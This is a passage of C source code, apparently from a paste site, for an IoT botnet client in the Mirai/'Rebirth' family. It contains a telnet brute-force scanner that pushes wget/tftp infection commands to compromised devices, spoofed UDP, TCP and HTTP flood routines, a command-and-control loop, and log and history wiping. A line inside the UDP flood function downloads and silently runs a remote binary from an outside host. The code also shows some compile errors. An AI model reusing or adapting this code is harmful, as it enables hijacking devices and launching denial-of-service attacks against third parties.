  1510.                     if(send(fds[i].fd, Mirai_Passwords[fds[i].passwordInd], strlen(Mirai_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1511.                     {
  1512.                         reset_telstate(&fds[i]);
  1513.                         continue;
  1514.                     }
  1515.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1516.                     {
  1517.                         reset_telstate(&fds[i]);
  1518.                         continue;
  1519.                     }
  1520.                     advance_telstate(&fds[i], 6);
  1521.                 }
  1522.                 break;                                 
  1523.             case 6:
  1524.                 {
  1525.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
  1526.                     {
  1527.                         fds[i].tTimeout = time(NULL);
  1528.                         if(contains_fail(fds[i].sockbuf))
  1529.                         {
  1530.                             advance_telstate(&fds[i], 0);
  1531.                         }
  1532.                         else if(contains_success(fds[i].sockbuf))
  1533.                         {
  1534.                             if(fds[i].complete == 2)
  1535.                             {
  1536.                                 advance_telstate(&fds[i], 7);
  1537.                             }
  1538.                             else
  1539.                             {
  1540.                                 sockprintf(mainCommSock, "[Mirai][attempt on %s] [%s:%s]", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1541.                                 advance_telstate(&fds[i], 7);
  1542.                             }
  1543.                         }
  1544.                         else
  1545.                         {
  1546.                             reset_telstate(&fds[i]);
  1547.                         }
  1548.                         continue;
  1549.                     }
  1550.                     if(fds[i].tTimeout + 7 < time(NULL))
  1551.                     {
  1552.                         reset_telstate(&fds[i]);
  1553.                     }
  1554.                 }
  1555.                 break;
  1556.             case 7:
  1557.                 {       fds[i].tTimeout = time(NULL);
  1558.                
  1559.                         if(send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/ || /var/run/ || /var/system/ || /mnt/ || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;busybox wget 0.0.0.0/bins.sh;chmod 777;sh bins.sh;busybox tftp -g 0.0.0.0 -r tftp1.sh;chmod 777 *;sh tftp1.sh;busybox tftp -g 0.0.0.0 -r tftp2.sh;chmod 777 *;sh tftp2.sh;rm -rf *sh;history -c;history -w;rm -rf ~/.bash_history\r\n", 407, MSG_NOSIGNAL) < 0)
  1560.                         {
  1561.                             sockprintf(mainCommSock, "[TELNET] [+] SUCCESSFUL INFECTION ---> %s:%s:%s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1562.                             reset_telstate(&fds[i]);
  1563.                             continue;
  1564.                         }
  1565.                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "REBIRTH"))
  1566.                         {
  1567.                             if(strcasestr(fds[i].sockbuf, "REBIRTH") && fds[i].complete != 3)
  1568.                             {
  1569.                                 sockprintf(mainCommSock, "[TELNET] [+] PAYLOAD SENT ---> %s:%s:%s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1570.                             }
  1571.                         }
  1572.                         if(fds[i].tTimeout + 45 < time(NULL))
  1573.                         {  
  1574.                             if(fds[i].complete!=3)
  1575.                             {
  1576.                                 sockprintf(mainCommSock, "[TELNET] [-] FAILED INFECTION ---> %s:%s:%s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1577.                             }
  1578.                             reset_telstate(&fds[i]);
  1579.                         }
  1580.                 break;
  1581.                 }
  1582.             }
  1583.         }
  1584.     }              
  1585. }
  1586.  
  1587. void SendSTD(unsigned char *ip, int port, int secs) {
  1588.     int iSTD_Sock;
  1589.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1590.     time_t start = time(NULL);
  1591.     struct sockaddr_in sin;
  1592.     struct hostent *hp;
  1593.     hp = gethostbyname(ip);
  1594.     bzero((char*) &sin,sizeof(sin));
  1595.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1596.     sin.sin_family = hp->h_addrtype;
  1597.     sin.sin_port = port;
  1598.     unsigned int a = 0;
  1599.     while(1){
  1600.         if (a >= 50) {
  1601.             send(iSTD_Sock, "std", 69, 0);
  1602.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1603.             if (time(NULL) >= start + secs) {
  1604.                 close(iSTD_Sock);
  1605.                 _exit(0);
  1606.             }
  1607.             a = 0;
  1608.         }
  1609.         a++;
  1610.     }
  1611. }
  1612. void SendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
  1613.         struct sockaddr_in dest_addr;
  1614.         dest_addr.sin_family = AF_INET;
  1615.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1616.         else dest_addr.sin_port = htons(port);
  1617.         if(getHost(target, &dest_addr.sin_addr)) return;
  1618.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1619.         register unsigned int pollRegister;
  1620.         pollRegister = pollinterval;   
  1621.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1622.                 if(!sockfd) {
  1623.                         return;
  1624.                 }
  1625.                 int tmp = 1;
  1626.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1627.                         return;
  1628.                 }
  1629.                 int counter = 50;
  1630.                 while(counter--) {
  1631.                         srand(time(NULL) ^ rand_cmwc());
  1632.                         init_rand(rand());
  1633.                 }
  1634.                 in_addr_t netmask;
  1635.                 netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1636.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1637.                 struct iphdr *iph = (struct iphdr *)packet;
  1638.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1639.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1640.        system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  1641.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1642.                 udph->source = rand_cmwc();
  1643.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1644.                 udph->check = 0;
  1645.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1646.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1647.                 int end = time(NULL) + timeEnd;
  1648.                 register unsigned int i = 0;
  1649.                 while(1) {
  1650.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1651.                         udph->source = rand_cmwc();
  1652.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1653.                         iph->id = rand_cmwc();
  1654.                         iph->saddr = htonl( getRandomIP(netmask) );
  1655.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1656.                         if(i == pollRegister) {
  1657.                                 if(time(NULL) > end) break;
  1658.                                 i = 0;
  1659.                                 continue;
  1660.                         }
  1661.                         i++;
  1662.                 }
  1663.         }
  1664. void SendTCP(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
  1665.         register unsigned int pollRegister;
  1666.         pollRegister = pollinterval;
  1667.         struct sockaddr_in dest_addr;
  1668.         dest_addr.sin_family = AF_INET;
  1669.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1670.         else dest_addr.sin_port = htons(port);
  1671.         if(getHost(target, &dest_addr.sin_addr)) return;
  1672.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1673.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1674.         if(!sockfd) { return; }
  1675.         int tmp = 1;
  1676.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  1677.         in_addr_t netmask;
  1678.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1679.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1680.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1681.         struct iphdr *iph = (struct iphdr *)packet;
  1682.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1683.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1684.         tcph->source = rand_cmwc();
  1685.         tcph->seq = rand_cmwc();
  1686.         tcph->ack_seq = 0;
  1687.         tcph->doff = 5;
  1688.         if(!strcmp(flags, "all")) {
  1689.                 tcph->syn = 1;
  1690.                 tcph->rst = 1;
  1691.                 tcph->fin = 1;
  1692.                 tcph->ack = 1;
  1693.                 tcph->psh = 1;
  1694.         } else {
  1695.                 unsigned char *pch = strtok(flags, ",");
  1696.                 while(pch) {
  1697.                         if(!strcmp(pch,         "syn")) { tcph->syn = 1;
  1698.                         } else if(!strcmp(pch,  "rst")) { tcph->rst = 1;
  1699.                         } else if(!strcmp(pch,  "fin")) { tcph->fin = 1;
  1700.                         } else if(!strcmp(pch,  "ack")) { tcph->ack = 1;
  1701.                         } else if(!strcmp(pch,  "psh")) { tcph->psh = 1;
  1702.                         } else {
  1703.                         }
  1704.                         pch = strtok(NULL, ",");
  1705.                 }
  1706.         }
  1707.         tcph->window = rand_cmwc();
  1708.         tcph->check = 0;
  1709.         tcph->urg_ptr = 0;
  1710.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1711.         tcph->check = tcpcsum(iph, tcph);
  1712.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1713.         int end = time(NULL) + timeEnd;
  1714.         register unsigned int i = 0;
  1715.         while(1) {
  1716.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1717.                 iph->saddr = htonl( getRandomIP(netmask) );
  1718.                 iph->id = rand_cmwc();
  1719.                 tcph->seq = rand_cmwc();
  1720.                 tcph->source = rand_cmwc();
  1721.                 tcph->check = 0;
  1722.                 tcph->check = tcpcsum(iph, tcph);
  1723.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1724.                 if(i == pollRegister) {
  1725.                         if(time(NULL) > end) break;
  1726.                         i = 0;
  1727.                         continue;
  1728.                 }
  1729.                 i++;
  1730.         }
  1731. }
  1732. int socket_connect(char *host, in_port_t port) {
  1733.     struct hostent *hp;
  1734.     struct sockaddr_in addr;
  1735.     int on = 1, sock;    
  1736.     if ((hp = gethostbyname(host)) == NULL) return 0;
  1737.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1738.     addr.sin_port = htons(port);
  1739.     addr.sin_family = AF_INET;
  1740.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1741.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1742.     if (sock == -1) return 0;
  1743.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1744.     return sock;
  1745. }
  1746.  
  1747. void sendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power)
  1748. {
  1749.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1750.     char request[512], buffer[1];
  1751.     for (i = 0; i < power; i++)
  1752.     {
  1753.         sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, UserAgents[(rand() % 36)]);
  1754.         if (fork())
  1755.         {
  1756.             while (end > time(NULL))
  1757.             {
  1758.                 socket = socket_connect(host, port);
  1759.                 if (socket != 0)
  1760.                 {
  1761.                     write(socket, request, strlen(request));
  1762.                     read(socket, buffer, 1);
  1763.                     close(socket);
  1764.                 }
  1765.             }
  1766.             exit(0);
  1767.         }
  1768.     }
  1769. }
  1770.  
  1771. void ClearHistory()
  1772. {
  1773.     system("history -c;history -w");
  1774.     system("cd /;rm -rf .bash_history");
  1775. }
  1776.  
  1777. void processCmd(int argc, unsigned char *argv[]) {
  1778.         if(!strcmp(argv[0], "PING"))
  1779.         {
  1780.                 return;
  1781.         }
  1782.         if(!strcmp(argv[0], "TELNET"))
  1783.         {
  1784.             if(!strcmp(argv[1], "ON"))
  1785.             {
  1786.                 uint32_t parent;
  1787.                 parent = fork();        
  1788.                 int ii = 0;
  1789.                 int forks = sysconf( _SC_NPROCESSORS_ONLN );
  1790.                 int fds = 999999;
  1791.                 if(forks == 1) fds = 500;
  1792.                 if(forks >= 2) fds = 1000;
  1793.                 if (parent > 0)
  1794.                 {
  1795.                     scanPid = parent;
  1796.                     return;
  1797.                 }
  1798.                 else if(parent == -1) return;
  1799.  
  1800.                 for (ii = 0; ii < forks; ii++)
  1801.                 {
  1802.                     srand((time(NULL) ^ getpid()) + getppid());
  1803.                     init_rand(time(NULL) ^ getpid());
  1804.                     TelnetScanner(100, fds);
  1805.                     _exit(0);
  1806.                 }
  1807.             }
  1808.             if(!strcmp(argv[1], "OFF"))
  1809.             {
  1810.                 if(scanPid == 0) return;
  1811.                 kill(scanPid, 9);
  1812.                 scanPid = 0;
  1813.             }
  1814.             if(!strcmp(argv[1], "FASTLOAD"))
  1815.             {
  1816.                 if(argc < 3)
  1817.                 {
  1818.                     sockprintf(mainCommSock, "SCAN <threads> <usec>");
  1819.                     return;
  1820.                 } else {
  1821.                             int threads = atoi(argv[1]);
  1822.                             int usec = atoi(argv[2]);
  1823.                             if(!listFork())
  1824.                             {
  1825.                                 sockprintf(mainCommSock, "Starting scanner!!");
  1826.                                 TelnetScanner(usec, threads);
  1827.                                 _exit(0);
  1828.                             }
  1829.                             return;
  1830.                        }
  1831.             }
  1832.         }
  1833.         if(!strcmp(argv[0], "MIRAI"))
  1834.         {
  1835.             if(!strcmp(argv[1], "ON"))
  1836.             {
  1837.                
  1838.                 uint32_t parent;
  1839.                 parent = fork();        
  1840.                 int ii = 0;
  1841.                 int forks = sysconf( _SC_NPROCESSORS_ONLN );
  1842.                 int fds = 999999;
  1843.                 if(forks == 1) fds = 500;
  1844.                 if(forks >= 2) fds = 1000;
  1845.                 if (parent > 0)
  1846.                 {
  1847.                     scanPid = parent;
  1848.                     return;
  1849.                 }
  1850.                 else if(parent == -1) return;
  1851.    
  1852.                 for (ii = 0; ii < forks; ii++)
  1853.                 {
  1854.                     srand((time(NULL) ^ getpid()) + getppid());
  1855.                     init_rand(time(NULL) ^ getpid());
  1856.                     MiraiScanner(100, fds);
  1857.                     _exit(0);
  1858.                 }
  1859.             }
  1860.             if(!strcmp(argv[1], "OFF"))
  1861.             {
  1862.                 if(scanPid == 0) return;
  1863.  
  1864.                 kill(scanPid, 9);
  1865.                 scanPid = 0;
  1866.             }
  1867.             if(!strcmp(argv[1], "FASTLOAD"))
  1868.             {
  1869.                             {
  1870.                 if(argc < 3)
  1871.                 {
  1872.                     sockprintf(mainCommSock, "SCAN <threads> <usec>");
  1873.                     return;
  1874.                 } else {
  1875.                             int threads = atoi(argv[1]);
  1876.                             int usec = atoi(argv[2]);
  1877.                             if(!listFork())
  1878.                             {
  1879.                                 sockprintf(mainCommSock, "Starting scanner!!");
  1880.                                 MiraiScanner(usec, threads);
  1881.                                 _exit(0);
  1882.                             }
  1883.                             return;
  1884.                        }
  1885.             }
  1886.             }
  1887.            
  1888.         }
  1889.        
  1890.         if(!strcmp(argv[0], "PYTHON")) //Infect a Scanner server to the net, before executing this.
  1891.         {
  1892.             if(!strcmp(argv[1], "INSTALL"))
  1893.             {
  1894.                 system("sudo yum install python-paramiko -y;sudo apt-get install python-paramiko -y;sudo mkdir /.tmp/;cd /.tmp;wget 0.0.0.0/scan.py");
  1895.                 ClearHistory();
  1896.                 sockprintf(mainCommSock, "Installing Python Scanner");
  1897.             }
  1898.             if(!strcmp(argv[1], "UPDATE"))
  1899.             {
  1900.                 system("cd /.tmp;rm -rf *py;wget 0.0.0.0/scan.py");
  1901.                 ClearHistory();
  1902.                 sockprintf(mainCommSock, "Updating Python Scanner");
  1903.             }
  1904.             if(!strcmp(argv[1], "OFF"))
  1905.             {
  1906.                 system("killall -9 python;pkill python");
  1907.                 ClearHistory();
  1908.                 sockprintf(mainCommSock, "Killing Python Scanning Proccess");
  1909.             }
  1910.             if(!strcmp(argv[1], "1"))
  1911.             {
  1912.                 system("cd /.tmp;python scan.py 376 B 119.93 lol");
  1913.                 ClearHistory();
  1914.                 sockprintf(mainCommSock, "Scanning 119.93.x.x on Port 22");
  1915.             }
  1916.             if(!strcmp(argv[1], "2"))
  1917.             {
  1918.                 system("cd /.tmp;python scan.py 376 B 91.98 2");
  1919.                 ClearHistory();
  1920.                 sockprintf(mainCommSock, "Scaning 91.98.x.x on Port 22");
  1921.             }
  1922.             if(!strcmp(argv[1], "3"))
  1923.             {
  1924.                 system("cd /.tmp;python scan.py 376 B 118.173 2");
  1925.                 ClearHistory();
  1926.                 sockprintf(mainCommSock, "Scanning 118.173.x.x on Port 22");
  1927.             }
  1928.             if(!strcmp(argv[1], "4"))
  1929.             {
  1930.                 system("cd /.tmp;python scan.py 376 B 91.99 2");
  1931.                 ClearHistory();
  1932.                 sockprintf(mainCommSock, "Scanning 91.99.x.x on Port 22");
  1933.             }
  1934.             if(!strcmp(argv[1], "5"))
  1935.             {
  1936.                 system("cd /.tmp;python scan.py 376 B 92.99 2");
  1937.                 ClearHistory();
  1938.                 sockprintf(mainCommSock, "Scanning 92.99.x.x on Port 22");
  1939.             }
  1940.             if(!strcmp(argv[1], "LOAD"))
  1941.             {
  1942.                 system("cd /.tmp;killall -9 python;python scan.py 376 LOAD 88 2");
  1943.                 ClearHistory();
  1944.                 sockprintf(mainCommSock, "Loading Random Ranges on Port 22");
  1945.             }
  1946.         }
  1947.         if (!strcmp(argv[0], "HTTP"))
  1948.         {
  1949.             // !* HTTP METHOD TARGET PORT PATH TIME POWER
  1950.             // !* HTTP POST/GET/HEAD hackforums.net 80 / 10 100
  1951.             if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1952.             if (listFork()) return;
  1953.             SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1954.             exit(0);
  1955.         }
  1956.         if(!strcmp(argv[0], "UDP"))
  1957.         {
  1958.             // !* UDP TARGET PORT TIME PACKETSIZE POLLINTERVAL
  1959.             if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1))
  1960.             {
  1961.                 return;
  1962.             }
  1963.                 unsigned char *ip = argv[1];
  1964.                 int port = atoi(argv[2]);
  1965.                 int time = atoi(argv[3]);
  1966.                 int packetsize = atoi(argv[4]);
  1967.                 int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
  1968.                 int spoofed = 32;
  1969.                 if(strstr(ip, ",") != NULL)
  1970.                 {
  1971.                     unsigned char *hi = strtok(ip, ",");
  1972.                     while(hi != NULL)
  1973.                     {
  1974.                         if(!listFork())
  1975.                         {
  1976.                             SendUDP(hi, port, time, packetsize, pollinterval, spoofed);
  1977.                             _exit(0);
  1978.                         }
  1979.                         hi = strtok(NULL, ",");
  1980.                     }
  1981.                 } else {
  1982.                             if (listFork())
  1983.                             {
  1984.                                 return;
  1985.                             }
  1986.                             SendUDP(ip, port, time, packetsize, pollinterval, spoofed);
  1987.                             _exit(0);
  1988.                        }   
  1989.         }
  1990.         if(!strcmp(argv[0], "TCP"))
  1991.         {
  1992.                 //!* TCP TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL
  1993.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1))
  1994.                 {
  1995.                         return;
  1996.                 }
  1997.                 unsigned char *ip = argv[1];
  1998.                 int port = atoi(argv[2]);
  1999.                 int time = atoi(argv[3]);
  2000.                 unsigned char *flags = argv[4];
  2001.                 int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
  2002.                 int packetsize = argc > 5 ? atoi(argv[5]) : 0;
  2003.                 int spoofed = 32;
  2004.                 if(strstr(ip, ",") != NULL) {
  2005.                         unsigned char *hi = strtok(ip, ",");
  2006.                         while(hi != NULL) {
  2007.                                 if(!listFork()) {
  2008.                                         SendTCP(hi, port, time, flags, packetsize, pollinterval, spoofed);
  2009.                                         _exit(0);
  2010.                                 }
  2011.                                 hi = strtok(NULL, ",");
  2012.                         }
  2013.                 } else  {
  2014.                             if (listFork())
  2015.                             {
  2016.                                 return;
  2017.                             }
  2018.                             SendTCP(ip, port, time, flags, packetsize, pollinterval, spoofed);
  2019.                             _exit(0);
  2020.                         }
  2021.         }
  2022.         if(!strcmp(argv[0], "STD"))
  2023.         {
  2024.             //!* STD TARGET PORT TIME
  2025.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2026.             {
  2027.                 return;
  2028.             }
  2029.             unsigned char *ip = argv[1];
  2030.             int port = atoi(argv[2]);
  2031.             int time = atoi(argv[3]);
  2032.             if(strstr(ip, ",") != NULL)
  2033.             {
  2034.                 unsigned char *hi = strtok(ip, ",");
  2035.                 while(hi != NULL)
  2036.                 {
  2037.                     if(!listFork())
  2038.                     {
  2039.                         SendSTD(hi, port, time);
  2040.                         _exit(0);
  2041.                     }
  2042.                     hi = strtok(NULL, ",");
  2043.                 }
  2044.             } else {
  2045.                         if (listFork())
  2046.                         {
  2047.                             return;
  2048.                         }
  2049.                         SendSTD(ip, port, time);
  2050.                         _exit(0);
  2051.                    }
  2052.         }
  2053.         if(!strcmp(argv[0], "KILLATTK"))
  2054.         {
  2055.                 int killed = 0;
  2056.                 unsigned long i;
  2057.                 for (i = 0; i < numpids; i++)
  2058.                 {
  2059.                         if (pids[i] != 0 && pids[i] != getpid())
  2060.                         {
  2061.                                 kill(pids[i], 9);
  2062.                                 killed++;
  2063.                         }
  2064.                 }
  2065.                 if(killed > 0)
  2066.                 {
  2067.                     //
  2068.                 } else {
  2069.                             //
  2070.                        }
  2071.         }
  2072.         if(!strcmp(argv[0], "LOLNOGTFO"))
  2073.         {
  2074.                 exit(0);
  2075.         }
  2076.         if(!strcmp(argv[0], "UPDATE"))
  2077.         {
  2078.             RemoveTempDirs();
  2079.             sockprintf(mainCommSock, "[cleaning] [%s:%s]", getBuild(), getEndianness());
  2080.         }
  2081. }
  2082. int initConnection() {
  2083.     unsigned char server[512];
  2084.     memset(server, 0, 512);
  2085.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2086.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2087.     else currentServer++;
  2088.     strcpy(server, commServer[currentServer]);
  2089.     int port = 6942;
  2090.     if(strchr(server, ':') != NULL) {
  2091.         port = atoi(strchr(server, ':') + 1);
  2092.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2093.     }
  2094.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2095.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2096.     return 0;
  2097. }
  2098. void UpdateNameSrvs() {
  2099.     uint16_t fhandler = open("/etc/resolv.conf", O_WRONLY | O_TRUNC);
  2100.     if (access("/etc/resolv.conf", F_OK) != -1) {
  2101.         const char* resd = "nameserver 8.8.8.8\nnameserver 8.8.4.4\n";
  2102.         size_t resl = strlen(resd);
  2103.         write(fhandler, resd, resl);
  2104.     } else { return; }
  2105.     close(fhandler);
  2106. }
  2107. void RemoveTempDirs() {
  2108.     system("pkill -9 busybox");
  2109.     system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  2110.     system("rm -rf /var/log/wtmp");
  2111.     system("rm -rf ~/.bash_history");
  2112.     system("history -c;history -w");
  2113. }
  2114. int getEndianness(void) {
  2115. union {
  2116. uint32_t vlu;
  2117. uint8_t data[sizeof(uint32_t)];
  2118. } nmb;
  2119. nmb.data[0] = 0x00;
  2120. nmb.data[1] = 0x01;
  2121. nmb.data[2] = 0x02;
  2122. nmb.data[3] = 0x03;
  2123. switch (nmb.vlu) {
  2124. case UINT32_C(0x00010203):
  2125. return "REBIRTH";
  2126. case UINT32_C(0x03020100):
  2127. return "REBIRTH";
  2128. case UINT32_C(0x02030001):
  2129. return "REBIRTH";
  2130. case UINT32_C(0x01000302):
  2131. return "REBIRTH";
  2132. default:
  2133. return "UNKNOWN";
  2134. }
  2135. }
  2136. int main(int argc, unsigned char *argv[]) {
  2137.         const char *lolsuckmekid = "";
  2138.         if(SERVER_LIST_SIZE <= 0) return 0;
  2139.         strncpy(argv[0],"",strlen(argv[0]));
  2140.         argv[0] = "";
  2141.         prctl(PR_SET_NAME, (unsigned long) lolsuckmekid, 0, 0, 0);
  2142.         srand(time(NULL) ^ getpid());
  2143.         init_rand(time(NULL) ^ getpid());
  2144.         pid_t pid1;
  2145.         pid_t pid2;
  2146.         int status;
  2147.         if (pid1 = fork()) {
  2148.                         waitpid(pid1, &status, 0);
  2149.                         exit(0);
  2150.         } else if (!pid1) {
  2151.                         if (pid2 = fork()) {
  2152.                                         exit(0);
  2153.                         } else if (!pid2) {
  2154.                         } else {
  2155.                         }
  2156.         } else {
  2157.         }
  2158.         chdir("/");
  2159.         setuid(0);             
  2160.         seteuid(0);
  2161.         signal(SIGPIPE, SIG_IGN);
  2162.         while(1) {
  2163.                 if(fork() == 0) {
  2164.                 if(initConnection()) { sleep(5); continue; }
  2165.                 sockprintf(mainCommSock, "[connected] [%s:%s]", getBuild(), getEndianness());
  2166.                 UpdateNameSrvs();
  2167.                 RemoveTempDirs();
  2168.                 char commBuf[4096];
  2169.                 int got = 0;
  2170.                 int i = 0;
  2171.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) {
  2172.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2173.                                 unsigned int *newpids, on;
  2174.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2175.                                 pids[on - 1] = 0;
  2176.                                 numpids--;
  2177.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2178.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2179.                                 free(pids);
  2180.                                 pids = newpids;
  2181.                         }
  2182.                         commBuf[got] = 0x00;
  2183.                         trim(commBuf);
  2184.                         if(strstr(commBuf, "PING") == commBuf) { // PING
  2185.                                 continue;
  2186.                         }
  2187.                         if(strstr(commBuf, "DUP") == commBuf) exit(0); // DUP
  2188.                         unsigned char *message = commBuf;
  2189.                         if(*message == '!') {
  2190.                                 unsigned char *nickMask = message + 1;
  2191.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2192.                                 if(*nickMask == 0x00) continue;
  2193.                                 *(nickMask) = 0x00;
  2194.                                 nickMask = message + 1;
  2195.                                 message = message + strlen(nickMask) + 2;
  2196.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2197.                                 unsigned char *command = message;
  2198.                                 while(*message != ' ' && *message != 0x00) message++;
  2199.                                 *message = 0x00;
  2200.                                 message++;
  2201.                                 unsigned char *tmpcommand = command;
  2202.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2203.                                 unsigned char *params[10];
  2204.                                 int paramsCount = 1;
  2205.                                 unsigned char *pch = strtok(message, " ");
  2206.                                 params[0] = command;
  2207.                                 while(pch) {
  2208.                                         if(*pch != '\n') {
  2209.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2210.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  2211.                                                 strcpy(params[paramsCount], pch);
  2212.                                                 paramsCount++;
  2213.                                         }
  2214.                                         pch = strtok(NULL, " ");
  2215.                                 }
  2216.                                 processCmd(paramsCount, params);
  2217.                                 if(paramsCount > 1) {
  2218.                                         int q = 1;
  2219.                                         for(q = 1; q < paramsCount; q++) {
  2220.                                                 free(params[q]);
  2221.                                         }
  2222.                                 }
  2223.                         }
  2224.                 }
  2225.         }
  2226.         return 0;
  2227.     }
  2228. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement